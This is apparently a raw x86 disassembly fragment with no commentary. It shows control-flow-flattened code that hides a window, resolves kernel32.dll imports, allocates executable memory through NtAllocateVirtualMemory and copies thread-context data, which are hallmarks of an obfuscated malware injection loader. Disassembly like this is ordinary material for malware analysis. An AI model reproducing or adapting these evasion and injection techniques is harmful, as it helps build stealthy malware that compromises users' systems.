cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1243f095
mov ecx, 0xe2be10cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0x1428f67d
jmp 0x1000db43
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x1a0], 0xc8280c4b
jmp 0x1000db43
mov eax, dword [ebp - 0x12c]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001570
add esp, 4
lea eax, [0x100191d1]
sub esp, 4
mov dword [esp], eax
call fcn.10001570
add esp, 4
mov dword [ebp - 0x1a0], 0x358cda6a
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0xd4ce59fe
jmp 0x1000db43
mov eax, dword [ebp - 0xf4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x180]
mov eax, dword [ebp - 0x17c]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x1a0], 0x8e1914c0
jmp 0x1000db43
mov eax, dword [ebp - 0x190]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x164]
mov dword [eax], ecx
mov eax, dword [ebp - 0x160]
mov dword [eax], 0
mov dword [ebp - 0x1a0], 0xe7de1d53
jmp 0x1000db43
mov eax, dword [ebp - 0x164]
mov eax, dword [ebp - 0x170]
mov eax, dword [ebp - 0x160]
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x1a0], 0x868c7c3d
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0x70ba1ba4
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0xc4e0cc8a
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0xb75fd80b
jmp 0x1000db43
mov dword [ebp - 0x1a0], 0xa14682d8
jmp 0x1000db43
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov dword [ebp - 0x1a0], 0xd92d38ee
jmp 0x10007410